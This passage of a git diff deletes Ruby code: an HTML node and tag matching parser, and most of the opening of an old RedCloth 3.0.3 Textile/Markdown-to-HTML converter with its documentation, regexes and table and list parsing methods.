-        hash.keys.inject({}) do |h,k|
-          h[k.to_s] = hash[k]
-          h
-        end
-      end
-
-      def keys_to_symbols(hash)
-        hash.keys.inject({}) do |h,k|
-          raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
-          h[k.to_sym] = hash[k]
-          h
-        end
-      end
-  end
-
-  # The base class of all nodes, textual and otherwise, in an HTML document.
-  class Node #:nodoc:
-    # The array of children of this node. Not all nodes have children.
-    attr_reader :children
-    
-    # The parent node of this node. All nodes have a parent, except for the
-    # root node.
-    attr_reader :parent
-    
-    # The line number of the input where this node was begun
-    attr_reader :line
-    
-    # The byte position in the input where this node was begun
-    attr_reader :position
-    
-    # Create a new node as a child of the given parent.
-    def initialize(parent, line=0, pos=0)
-      @parent = parent
-      @children = []
-      @line, @position = line, pos
-    end
-
-    # Return a textual representation of the node.
-    def to_s
-      s = []
-      @children.each { |child| s << child.to_s }
-      s.join
-    end
-
-    # Return false (subclasses must override this to provide specific matching
-    # behavior.) +conditions+ may be of any type.
-    def match(conditions)
-      false
-    end
-
-    # Search the children of this node for the first node for which #find
-    # returns non +nil+. Returns the result of the #find call that succeeded.
-    def find(conditions)
-      conditions = validate_conditions(conditions)
-      @children.each do |child|        
-        node = child.find(conditions)
-        return node if node
-      end
-      nil
-    end
-
-    # Search for all nodes that match the given conditions, and return them
-    # as an array.
-    def find_all(conditions)
-      conditions = validate_conditions(conditions)
-
-      matches = []
-      matches << self if match(conditions)
-      @children.each do |child|
-        matches.concat child.find_all(conditions)
-      end
-      matches
-    end
-
-    # Returns +false+. Subclasses may override this if they define a kind of
-    # tag.
-    def tag?
-      false
-    end
-
-    def validate_conditions(conditions)
-      Conditions === conditions ? conditions : Conditions.new(conditions)
-    end
-
-    def ==(node)
-      return false unless self.class == node.class && children.size == node.children.size
-
-      equivalent = true
-
-      children.size.times do |i|
-        equivalent &&= children[i] == node.children[i]
-      end
-
-      equivalent
-    end
-    
-    class <<self
-      def parse(parent, line, pos, content, strict=true)
-        if content !~ /^<\S/
-          Text.new(parent, line, pos, content)
-        else
-          scanner = StringScanner.new(content)
-
-          unless scanner.skip(/</)
-            if strict
-              raise "expected <"
-            else
-              return Text.new(parent, line, pos, content)
-            end
-          end
-
-          if scanner.skip(/!\[CDATA\[/)
-            unless scanner.skip_until(/\]\]>/)
-              if strict
-                raise "expected ]]> (got #{scanner.rest.inspect} for #{content})"
-              else
-                scanner.skip_until(/\Z/)
-              end
-            end
-
-            return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
-          end
-          
-          closing = ( scanner.scan(/\//) ? :close : nil )
-          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[\w:-]+/)
-  
-          unless closing
-            scanner.skip(/\s*/)
-            attributes = {}
-            while attr = scanner.scan(/[-\w:]+/)
-              value = true
-              if scanner.scan(/\s*=\s*/)
-                if delim = scanner.scan(/['"]/)
-                  v = []
-                  while text = scanner.scan(/[^#{delim}\\]+|./)
-                    case text
-                      when "\\" then
-                        v << text
-                        v << scanner.getch
-                      when delim
-                        break
-                      else v << text
-                    end
-                  end
-                  value = v.join
-                else
-                  value = scanner.scan(/[^\s>\/]+/)
-                end
-              end
-              attributes[attr] = value
-              scanner.skip(/\s*/)
-            end
-    
-            closing = ( scanner.scan(/\//) ? :self : nil )
-          end
-          
-          unless scanner.scan(/\s*>/)
-            if strict
-              raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})" 
-            else
-              # throw away all text until we find what we're looking for
-              scanner.skip_until(/>/) or scanner.terminate
-            end
-          end
-
-          Tag.new(parent, line, pos, name, attributes, closing)
-        end
-      end
-    end
-  end
-
-  # A node that represents text, rather than markup.
-  class Text < Node #:nodoc:
-    
-    attr_reader :content
-    
-    # Creates a new text node as a child of the given parent, with the given
-    # content.
-    def initialize(parent, line, pos, content)
-      super(parent, line, pos)
-      @content = content
-    end
-
-    # Returns the content of this node.
-    def to_s
-      @content
-    end
-
-    # Returns +self+ if this node meets the given conditions. Text nodes support
-    # conditions of the following kinds:
-    #
-    # * if +conditions+ is a string, it must be a substring of the node's
-    #   content
-    # * if +conditions+ is a regular expression, it must match the node's
-    #   content
-    # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
-    #   is either a string or a regexp, and which is interpreted as described
-    #   above.
-    def find(conditions)
-      match(conditions) && self
-    end
-    
-    # Returns non-+nil+ if this node meets the given conditions, or +nil+
-    # otherwise. See the discussion of #find for the valid conditions.
-    def match(conditions)
-      case conditions
-        when String
-          @content == conditions
-        when Regexp
-          @content =~ conditions
-        when Hash
-          conditions = validate_conditions(conditions)
-
-          # Text nodes only have :content, :parent, :ancestor
-          unless (conditions.keys - [:content, :parent, :ancestor]).empty?
-            return false
-          end
-
-          match(conditions[:content])
-        else
-          nil
-      end
-    end
-
-    def ==(node)
-      return false unless super
-      content == node.content
-    end
-  end
-  
-  # A CDATA node is simply a text node with a specialized way of displaying
-  # itself.
-  class CDATA < Text #:nodoc:
-    def to_s
-      "<![CDATA[#{super}]]>"
-    end
-  end
-
-  # A Tag is any node that represents markup. It may be an opening tag, a
-  # closing tag, or a self-closing tag. It has a name, and may have a hash of
-  # attributes.
-  class Tag < Node #:nodoc:
-    
-    # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
-    attr_reader :closing
-    
-    # Either +nil+, or a hash of attributes for this node.
-    attr_reader :attributes
-
-    # The name of this tag.
-    attr_reader :name
-        
-    # Create a new node as a child of the given parent, using the given content
-    # to describe the node. It will be parsed and the node name, attributes and
-    # closing status extracted.
-    def initialize(parent, line, pos, name, attributes, closing)
-      super(parent, line, pos)
-      @name = name
-      @attributes = attributes
-      @closing = closing
-    end
-
-    # A convenience for obtaining an attribute of the node. Returns +nil+ if
-    # the node has no attributes.
-    def [](attr)
-      @attributes ? @attributes[attr] : nil
-    end
-
-    # Returns non-+nil+ if this tag can contain child nodes.
-    def childless?(xml = false)
-      return false if xml && @closing.nil?
-#      !@closing.nil? ||
-        @name =~ /^(img|br|hr|link|meta|area|base|basefont|
-                    col|frame|input|isindex|param)$/ox
-    end
-
-    # Returns a textual representation of the node
-    def to_s
-      if @closing == :close
-        "</#{@name}>"  unless self.childless?
-      else
-        s = ["<#{@name}"]
-        @attributes.sort.each do |k,v|
-          s << " #{k}"
-          s << "='#{v}'" if String === v
-        end
-        s << "/" if (@children.empty? && @closing == :self) or self.childless?
-        s << ">"
-        @children.each { |child| s << child.to_s }
-        s << "</#{@name}>" unless @closing == :self or self.childless? or @children.empty?
-        s.join
-      end
-    end
-
-    # If either the node or any of its children meet the given conditions, the
-    # matching node is returned. Otherwise, +nil+ is returned. (See the
-    # description of the valid conditions in the +match+ method.)
-    def find(conditions)
-      match(conditions) && self || super
-    end
-
-    # Returns +true+, indicating that this node represents an HTML tag.
-    def tag?
-      true
-    end
-    
-    # Returns +true+ if the node meets any of the given conditions. The
-    # +conditions+ parameter must be a hash of any of the following keys
-    # (all are optional):
-    #
-    # * <tt>:tag</tt>: the node name must match the corresponding value
-    # * <tt>:attributes</tt>: a hash. The node's values must match the
-    #   corresponding values in the hash.
-    # * <tt>:parent</tt>: a hash. The node's parent must match the
-    #   corresponding hash.
-    # * <tt>:child</tt>: a hash. At least one of the node's immediate children
-    #   must meet the criteria described by the hash.
-    # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
-    #   meet the criteria described by the hash.
-    # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
-    #   must meet the criteria described by the hash.
-    # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
-    #   meet the criteria described by the hash.
-    # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
-    #   keys:
-    # ** <tt>:count</tt>: either a number or a range which must equal (or
-    #    include) the number of children that match.
-    # ** <tt>:less_than</tt>: the number of matching children must be less than
-    #    this number.
-    # ** <tt>:greater_than</tt>: the number of matching children must be
-    #    greater than this number.
-    # ** <tt>:only</tt>: another hash consisting of the keys to use
-    #    to match on the children, and only matching children will be
-    #    counted.
-    #
-    # Conditions are matched using the following algorithm:
-    #
-    # * if the condition is a string, it must be a substring of the value.
-    # * if the condition is a regexp, it must match the value.
-    # * if the condition is a number, the value must match number.to_s.
-    # * if the condition is +true+, the value must not be +nil+.
-    # * if the condition is +false+ or +nil+, the value must be +nil+.
-    #
-    # Usage:
-    #
-    #   # test if the node is a "span" tag
-    #   node.match :tag => "span"
-    #
-    #   # test if the node's parent is a "div"
-    #   node.match :parent => { :tag => "div" }
-    #
-    #   # test if any of the node's ancestors are "table" tags
-    #   node.match :ancestor => { :tag => "table" }
-    #
-    #   # test if any of the node's immediate children are "em" tags
-    #   node.match :child => { :tag => "em" }
-    #
-    #   # test if any of the node's descendants are "strong" tags
-    #   node.match :descendant => { :tag => "strong" }
-    #
-    #   # test if the node has between 2 and 4 span tags as immediate children
-    #   node.match :children => { :count => 2..4, :only => { :tag => "span" } } 
-    #
-    #   # get funky: test to see if the node is a "div", has a "ul" ancestor
-    #   # and an "li" parent (with "class" = "enum"), and whether or not it has
-    #   # a "span" descendant that contains # text matching /hello world/:
-    #   node.match :tag => "div",
-    #              :ancestor => { :tag => "ul" },
-    #              :parent => { :tag => "li",
-    #                           :attributes => { :class => "enum" } },
-    #              :descendant => { :tag => "span",
-    #                               :child => /hello world/ }
-    def match(conditions)
-      conditions = validate_conditions(conditions)
-      # check content of child nodes
-      if conditions[:content]
-        if children.empty?
-          return false unless match_condition("", conditions[:content])
-        else
-          return false unless children.find { |child| child.match(conditions[:content]) }
-        end
-      end
-
-      # test the name
-      return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
-
-      # test attributes
-      (conditions[:attributes] || {}).each do |key, value|
-        return false unless match_condition(self[key], value)
-      end
-
-      # test parent
-      return false unless parent.match(conditions[:parent]) if conditions[:parent]
-
-      # test children
-      return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
-   
-      # test ancestors
-      if conditions[:ancestor]
-        return false unless catch :found do
-          p = self
-          throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
-        end
-      end
-
-      # test descendants
-      if conditions[:descendant]
-        return false unless children.find do |child|
-          # test the child
-          child.match(conditions[:descendant]) ||
-          # test the child's descendants
-          child.match(:descendant => conditions[:descendant])
-        end
-      end
-      
-      # count children
-      if opts = conditions[:children]
-        matches = children.select do |c|
-          (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
-        end
-        
-        matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
-        opts.each do |key, value|
-          next if key == :only
-          case key
-            when :count
-              if Integer === value
-                return false if matches.length != value
-              else
-                return false unless value.include?(matches.length)
-              end
-            when :less_than
-              return false unless matches.length < value
-            when :greater_than
-              return false unless matches.length > value
-            else raise "unknown count condition #{key}"
-          end
-        end
-      end
-
-      # test siblings
-      if conditions[:sibling] || conditions[:before] || conditions[:after]
-        siblings = parent ? parent.children : []
-        self_index = siblings.index(self)
-
-        if conditions[:sibling]
-          return false unless siblings.detect do |s| 
-            s != self && s.match(conditions[:sibling])
-          end
-        end
-
-        if conditions[:before]
-          return false unless siblings[self_index+1..-1].detect do |s| 
-            s != self && s.match(conditions[:before])
-          end
-        end
-
-        if conditions[:after]
-          return false unless siblings[0,self_index].detect do |s| 
-            s != self && s.match(conditions[:after])
-          end
-        end
-      end
-  
-      true
-    end
-
-    def ==(node)
-      return false unless super
-      return false unless closing == node.closing && self.name == node.name
-      attributes == node.attributes
-    end
-    
-    private
-      # Match the given value to the given condition.
-      def match_condition(value, condition)
-        case condition
-          when String
-            value && value == condition
-          when Regexp
-            value && value.match(condition)
-          when Numeric
-            value == condition.to_s
-          when true
-            !value.nil?
-          when false, nil
-            value.nil?
-          else
-            false
-        end
-      end
-  end
-end
diff --git a/lib/oldredcloth.rb b/lib/oldredcloth.rb
deleted file mode 100644
index 4d45bbe8..00000000
--- a/lib/oldredcloth.rb
+++ /dev/null
@@ -1,1113 +0,0 @@
-#                                vim:ts=4:sw=4:
-# = RedCloth - Textile and Markdown Hybrid for Ruby
-#
-# Homepage::  http://whytheluckystiff.net/ruby/redcloth/
-# Author::    why the lucky stiff (http://whytheluckystiff.net/)
-# Copyright:: (cc) 2004 why the lucky stiff (and his puppet organizations.)
-# License::   BSD
-#
-# (see http://hobix.com/textile/ for a Textile Reference.)
-#
-# Based on (and also inspired by) both:
-#
-# PyTextile: http://diveintomark.org/projects/textile/textile.py.txt
-# Textism for PHP: http://www.textism.com/tools/textile/
-#
-#
-
-# = RedCloth
-#
-# RedCloth is a Ruby library for converting Textile and/or Markdown
-# into HTML.  You can use either format, intermingled or separately.
-# You can also extend RedCloth to honor your own custom text stylings.
-#
-# RedCloth users are encouraged to use Textile if they are generating
-# HTML and to use Markdown if others will be viewing the plain text.
-#
-# == What is Textile?
-#
-# Textile is a simple formatting style for text
-# documents, loosely based on some HTML conventions.
-#
-# == Sample Textile Text
-#
-#  h2. This is a title
-#
-#  h3. This is a subhead
-#
-#  This is a bit of paragraph.
-#
-#  bq. This is a blockquote.
-#
-# = Writing Textile
-#
-# A Textile document consists of paragraphs.  Paragraphs
-# can be specially formatted by adding a small instruction
-# to the beginning of the paragraph.
-#
-#  h[n].   Header of size [n].
-#  bq.     Blockquote.
-#  #       Numeric list.
-#  *       Bulleted list.
-#
-# == Quick Phrase Modifiers
-#
-# Quick phrase modifiers are also included, to allow formatting
-# of small portions of text within a paragraph.
-#
-#  \_emphasis\_
-#  \_\_italicized\_\_
-#  \*strong\*
-#  \*\*bold\*\*
-#  ??citation??
-#  -deleted text-
-#  +inserted text+
-#  ^superscript^
-#  ~subscript~
-#  @code@
-#  %(classname)span%
-#
-#  ==notextile== (leave text alone)
-#
-# == Links
-#
-# To make a hypertext link, put the link text in "quotation 
-# marks" followed immediately by a colon and the URL of the link.
-# 
-# Optional: text in (parentheses) following the link text, 
-# but before the closing quotation mark, will become a Title 
-# attribute for the link, visible as a tool tip when a cursor is above it.
-# 
-# Example:
-#
-#  "This is a link (This is a title) ":http://www.textism.com
-# 
-# Will become:
-# 
-#  <a href="http://www.textism.com" title="This is a title">This is a link</a>
-#
-# == Images
-#
-# To insert an image, put the URL for the image inside exclamation marks.
-#
-# Optional: text that immediately follows the URL in (parentheses) will 
-# be used as the Alt text for the image. Images on the web should always 
-# have descriptive Alt text for the benefit of readers using non-graphical 
-# browsers.
-#
-# Optional: place a colon followed by a URL immediately after the 
-# closing ! to make the image into a link.
-# 
-# Example:
-#
-#  !http://www.textism.com/common/textist.gif(Textist)!
-#
-# Will become:
-#
-#  <img src="http://www.textism.com/common/textist.gif" alt="Textist" />
-#
-# With a link:
-#
-#  !/common/textist.gif(Textist)!:http://textism.com
-#
-# Will become:
-#
-#  <a href="http://textism.com"><img src="/common/textist.gif" alt="Textist" /></a>
-#
-# == Defining Acronyms
-#
-# HTML allows authors to define acronyms via the tag. The definition appears as a 
-# tool tip when a cursor hovers over the acronym. A crucial aid to clear writing, 
-# this should be used at least once for each acronym in documents where they appear.
-#
-# To quickly define an acronym in Textile, place the full text in (parentheses) 
-# immediately following the acronym.
-# 
-# Example:
-#
-#  ACLU(American Civil Liberties Union)
-#
-# Will become:
-#
-#  <acronym title="American Civil Liberties Union">ACLU</acronym>
-#
-# == Adding Tables
-#
-# In Textile, simple tables can be added by seperating each column by
-# a pipe.
-#
-#     |a|simple|table|row|
-#     |And|Another|table|row|
-#
-# Attributes are defined by style definitions in parentheses.
-#
-#     table(border:1px solid black).
-#     (background:#ddd;color:red). |{}| | | |
-#
-# == Using RedCloth
-# 
-# RedCloth is simply an extension of the String class, which can handle
-# Textile formatting.  Use it like a String and output HTML with its
-# RedCloth#to_html method.
-#
-#  doc = RedCloth.new "
-#
-#  h2. Test document
-#
-#  Just a simple test."
-#
-#  puts doc.to_html
-#
-# By default, RedCloth uses both Textile and Markdown formatting, with
-# Textile formatting taking precedence.  If you want to turn off Markdown
-# formatting, to boost speed and limit the processor:
-#
-#  class RedCloth::Textile.new( str )
-
-class OldRedCloth < String
-
-    VERSION = '3.0.3'
-    DEFAULT_RULES = [:textile, :markdown]
-
-    #
-    # Two accessor for setting security restrictions.
-    #
-    # This is a nice thing if you're using RedCloth for
-    # formatting in public places (e.g. Wikis) where you
-    # don't want users to abuse HTML for bad things.
-    #
-    # If +:filter_html+ is set, HTML which wasn't
-    # created by the Textile processor will be escaped.
-    #
-    # If +:filter_styles+ is set, it will also disable
-    # the style markup specifier. ('{color: red}')
-    #
-    attr_accessor :filter_html, :filter_styles
-
-    #
-    # Accessor for toggling hard breaks.
-    #
-    # If +:hard_breaks+ is set, single newlines will
-    # be converted to HTML break tags.  This is the
-    # default behavior for traditional RedCloth.
-    #
-    attr_accessor :hard_breaks
-
-    #
-    # Accessor for toggling span caps.
-    #
-    # Textile places `span' tags around capitalized
-    # words by default, but this wreaks havoc on Wikis.
-    # If +:no_span_caps+ is set, this will be
-    # suppressed.
-    #
-    attr_accessor :no_span_caps
-
-    #
-    # Establishes the markup predence.  Available rules include:
-    #
-    # == Textile Rules
-    #
-    # The following textile rules can be set individually.  Or add the complete
-    # set of rules with the single :textile rule, which supplies the rule set in
-    # the following precedence:
-    #
-    # refs_textile::          Textile references (i.e. [hobix]http://hobix.com/)
-    # block_textile_table::   Textile table block structures
-    # block_textile_lists::   Textile list structures
-    # block_textile_prefix::  Textile blocks with prefixes (i.e. bq., h2., etc.)
-    # inline_textile_image::  Textile inline images
-    # inline_textile_link::   Textile inline links
-    # inline_textile_span::   Textile inline spans
-    # inline_textile_glyphs:: Textile entities (such as em-dashes and smart quotes)
-    #
-    # == Markdown
-    #
-    # refs_markdown::         Markdown references (for example: [hobix]: http://hobix.com/)
-    # block_markdown_setext:: Markdown setext headers
-    # block_markdown_atx::    Markdown atx headers
-    # block_markdown_rule::   Markdown horizontal rules
-    # block_markdown_bq::     Markdown blockquotes
-    # block_markdown_lists::  Markdown lists
-    # inline_markdown_link::  Markdown links
-    attr_accessor :rules
-
-    # Returns a new RedCloth object, based on _string_ and
-    # enforcing all the included _restrictions_.
-    #
-    #   r = RedCloth.new( "h1. A <b>bold</b> man", [:filter_html] )
-    #   r.to_html
-    #     #=>"<h1>A &lt;b&gt;bold&lt;/b&gt; man</h1>"
-    #
-    def initialize( string, restrictions = [] )
-        restrictions.each { |r| method( "#{ r }=" ).call( true ) }
-        super( string )
-    end
-
-    #
-    # Generates HTML from the Textile contents.
-    #
-    #   r = RedCloth.new( "And then? She *fell*!" )
-    #   r.to_html( true )
-    #     #=>"And then? She <strong>fell</strong>!"
-    #
-    def to_html( *rules )
-        rules = DEFAULT_RULES if rules.empty?
-        # make our working copy
-        text = self.dup
-        
-        @urlrefs = {}
-        @shelf = []
-        textile_rules = [:refs_textile, :block_textile_table, :block_textile_lists,
-                         :block_textile_prefix, :inline_textile_image, :inline_textile_link,
-                         :inline_textile_code, :inline_textile_glyphs, :inline_textile_span]
-        markdown_rules = [:refs_markdown, :block_markdown_setext, :block_markdown_atx, :block_markdown_rule,
-                          :block_markdown_bq, :block_markdown_lists, 
-                          :inline_markdown_reflink, :inline_markdown_link]
-        @rules = rules.collect do |rule|
-            case rule
-            when :markdown
-                markdown_rules
-            when :textile
-                textile_rules
-            else
-                rule
-            end
-        end.flatten
-
-        # standard clean up
-        incoming_entities text 
-        clean_white_space text 
-        no_textile text
-
-        # start processor
-        @pre_list = []
-        rip_offtags text
-        hard_break text
-        refs text
-        blocks text
-        inline text
-        smooth_offtags text
-
-        retrieve text
-
-        text.gsub!( /<\/?notextile>/, '' )
-        text.gsub!( /x%x%/, '&#38;' )
-        clean_html text if filter_html
-        text.strip!
-        text
-
-    end
-
-    #######
-    private
-    #######
-    #
-    # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents.
-    # (from PyTextile)
-    #
-    TEXTILE_TAGS =
-
-        [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], 
-         [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], 
-         [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], 
-         [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], 
-         [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]].
-
-        collect! do |a, b|
-            [a.chr, ( b.zero? and "" or "&#{ b };" )]
-        end
-
-    #
-    # Regular expressions to convert to HTML.
-    #
-    A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/
-    A_VLGN = /[\-^~]/
-    C_CLAS = '(?:\([^)]+\))'
-    C_LNGE = '(?:\[[^\]]+\])'
-    C_STYL = '(?:\{[^}]+\})'
-    S_CSPN = '(?:\\\\\d+)'
-    S_RSPN = '(?:/\d+)'
-    A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)"
-    S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)"
-    C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)"
-    # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' )
-    PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' )
-    HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(?=\s|<|$)'
-
-    # Text markup tags, don't conflict with block tags
-    SIMPLE_HTML_TAGS = [
-        'tt', 'b', 'i', 'big', 'small', 'em', 'strong', 'dfn', 'code', 
-        'samp', 'kbd', 'var', 'cite', 'abbr', 'acronym', 'a', 'img', 'br',
-        'br', 'map', 'q', 'sub', 'sup', 'span', 'bdo'
-    ]
-
-    # Elements to handle
-    GLYPHS = [
-    #   [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1&#8217;\2' ], # single closing
-        [ /([^\s\[{(>])\'/, '\1&#8217;' ], # single closing
-        [ /\'(?=\s|s\b|[#{PUNCT}])/, '&#8217;' ], # single closing
-        [ /\'/, '&#8216;' ], # single opening
-    #   [ /([^\s\[{(])?"(\s|:|$)/, '\1&#8221;\2' ], # double closing
-        [ /([^\s\[{(>])"/, '\1&#8221;' ], # double closing
-        [ /"(?=\s|[#{PUNCT}])/, '&#8221;' ], # double closing
-        [ /"/, '&#8220;' ], # double opening
-        [ /\b( )?\.{3}/, '\1&#8230;' ], # ellipsis
-        [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '<acronym title="\2">\1</acronym>' ], # 3+ uppercase acronym
-        [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^<a-z0-9]|$)/, '\1<span class="caps">\2</span>\3', :no_span_caps ], # 3+ uppercase caps
-        [ /(\.\s)?\s?--\s?/, '\1&#8212;' ], # em dash
-        [ /\s->\s/, ' &rarr; ' ], # right arrow
-        [ /\s-\s/, ' &#8211; ' ], # en dash
-        [ /(\d+) ?x ?(\d+)/, '\1&#215;\2' ], # dimension sign
-        [ /\b ?[(\[]TM[\])]/i, '&#8482;' ], # trademark
-        [ /\b ?[(\[]R[\])]/i, '&#174;' ], # registered
-        [ /\b ?[(\[]C[\])]/i, '&#169;' ] # copyright
-    ]
-
-    H_ALGN_VALS = {
-        '<' => 'left',
-        '=' => 'center',
-        '>' => 'right',
-        '<>' => 'justify'
-    }
-
-    V_ALGN_VALS = {
-        '^' => 'top',
-        '-' => 'middle',
-        '~' => 'bottom'
-    }
-
-    QTAGS = [
-        ['**', 'b'],
-        ['*', 'strong'],
-        ['??', 'cite', :limit],
-        ['-', 'del', :limit],
-        ['__', 'i'],
-        ['_', 'em', :limit],
-        ['%', 'span', :limit],
-        ['+', 'ins', :limit],
-        ['^', 'sup'],
-        ['~', 'sub']
-    ] 
-    QTAGS.collect! do |rc, ht, rtype|
-        rcq = Regexp::quote rc
-        re =
-            case rtype
-            when :limit
-                /(\W)
-                (#{rcq})
-                (#{C})
-                (?::(\S+?))?
-                (.+?)
-                #{rcq}
-                (?=\W)/x
-            else
-                /(#{rcq})
-                (#{C})
-                (?::(\S+?))?
-                (.+?)
-                #{rcq}/xm 
-            end
-        [rc, ht, re, rtype]
-    end
-
-    #
-    # Flexible HTML escaping
-    #
-    def htmlesc( str, mode )
-        str.gsub!( '&', '&amp;' )
-        str.gsub!( '"', '&quot;' ) if mode != :NoQuotes
-        str.gsub!( "'", '&#039;' ) if mode == :Quotes
-        str.gsub!( '<', '&lt;')
-        str.gsub!( '>', '&gt;')
-    end
-
-    # Search and replace for Textile glyphs (quotes, dashes, other symbols)
-    def pgl( text )
-        GLYPHS.each do |re, resub, tog|
-            next if tog and method( tog ).call
-            text.gsub! re, resub
-        end
-    end
-
-    # Parses Textile attribute lists and builds an HTML attribute string
-    def pba( text_in, element = "" )
-        
-        return '' unless text_in
-
-        style = []
-        text = text_in.dup
-        if element == 'td'
-            colspan = $1 if text =~ /\\(\d+)/
-            rowspan = $1 if text =~ /\/(\d+)/
-            style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN
-        end
-
-        style << "#{ $1 };" if not filter_styles and
-            text.sub!( /\{([^}]*)\}/, '' )
-
-        lang = $1 if
-            text.sub!( /\[([^)]+?)\]/, '' )
-
-        cls = $1 if
-            text.sub!( /\(([^()]+?)\)/, '' )
-                        
-        style << "padding-left:#{ $1.length }em;" if
-            text.sub!( /([(]+)/, '' )
-
-        style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' )
-
-        style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN
-
-        cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/
-        
-        atts = ''
-        atts << " style=\"#{ style.join }\"" unless style.empty?
-        atts << " class=\"#{ cls }\"" unless cls.to_s.empty?
-        atts << " lang=\"#{ lang }\"" if lang
-        atts << " id=\"#{ id }\"" if id
-        atts << " colspan=\"#{ colspan }\"" if colspan
-        atts << " rowspan=\"#{ rowspan }\"" if rowspan
-        
-        atts
-    end
-
-    TABLE_RE = /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)(\n\n|\Z)/m
-    
-    # Parses a Textile table block, building HTML from the result.
-    def block_textile_table( text ) 
-        text.gsub!( TABLE_RE ) do |matches|
-
-            tatts, fullrow = $~[1..2]
-            tatts = pba( tatts, 'table' )
-            tatts = shelve( tatts ) if tatts
-            rows = []
-
-            fullrow.
-            split( /\|$/m ).
-            delete_if { |x| x.empty? }.
-            each do |row|
-
-                ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m
-                
-                cells = []
-                row.split( '|' ).each do |cell|
-                    ctyp = 'd'
-                    ctyp = 'h' if cell =~ /^_/
-
-                    catts = ''
-                    catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. ?)(.*)/
-
-                    unless cell.strip.empty?
-                        catts = shelve( catts ) if catts
-                        cells << "\t\t\t<t#{ ctyp }#{ catts }>#{ cell }</t#{ ctyp }>" 
-                    end
-                end
-                ratts = shelve( ratts ) if ratts
-                rows << "\t\t<tr#{ ratts }>\n#{ cells.join( "\n" ) }\n\t\t</tr>"
-            end
-            "\t<table#{ tatts }>\n#{ rows.join( "\n" ) }\n\t</table>\n\n"
-        end
-    end
-
-    LISTS_RE = /^([#*]+?#{C} .*?)$(?![^#*])/m
-    LISTS_CONTENT_RE = /^([#*]+)(#{A}#{C}) (.*)$/m
-
-    # Parses Textile lists and generates HTML
-    def block_textile_lists( text ) 
-        text.gsub!( LISTS_RE ) do |match|
-            lines = match.split( /\n/ )
-            last_line = -1
-            depth = []
-            lines.each_with_index do |line, line_id|
-                if line =~ LISTS_CONTENT_RE 
-                    tl,atts,content = $~[1..3]
-                    if depth.last
-                        if depth.last.length > tl.length
-                            (depth.length - 1).downto(0) do |i|
-                                break if depth[i].length == tl.length
-                                lines[line_id - 1] << "</li>\n\t</#{ lT( depth[i] ) }l>\n\t"
-                                depth.pop
-                            end
-                        end
-                        if depth.last.length == tl.length
-                            lines[line_id - 1] << '</li>'
-                        end
-                    end
-                    unless depth.last == tl
-                        depth << tl
-                        atts = pba( atts )
-                        atts = shelve( atts ) if atts
-                        lines[line_id] = "\t<#{ lT(tl) }l#{ atts }>\n\t<li>#{ content }"
-                    else
-                        lines[line_id] = "\t\t<li>#{ content }"
-                    end
-                    last_line = line_id
-
-                else
-                    last_line = line_id
-                end
-                if line_id - last_line > 1 or line_id == lines.length - 1
-                    depth.delete_if do |v|
-                        lines[last_line] << "</li>\n\t</#{ lT( v ) }l>"
-                    end
-                end
-            end
-            lines.join( "\n" )
-        end
-    end
-
-    CODE_RE = /(\W)
-        @
-        (?:\|(\w+?)\|)?
-        (.+?)
-        @
-        (?=\W)/x
-
-    def inline_textile_code( text ) 
-        text.gsub!( CODE_RE ) do |m|
-            before,lang,code,after = $~[1..4]
-            lang = " lang=\"#{ lang }\"" if lang
-            rip_offtags( "#{ before }<code#{ lang }>#{ code }</code>#{ after }" )
-        end
-    end
-
-    def lT( text ) 
-        text =~ /\#$/ ? 'o' : 'u'
-    end
-
-    def hard_break( text )
-        text.gsub!( /(.)\n(?! *[#*\s|]|$)/, "\\1<br />" ) if hard_breaks
-    end
-
-    BLOCKS_GROUP_RE = /\n{2,}(?! )/m
-
-    def blocks( text, deep_code = false )
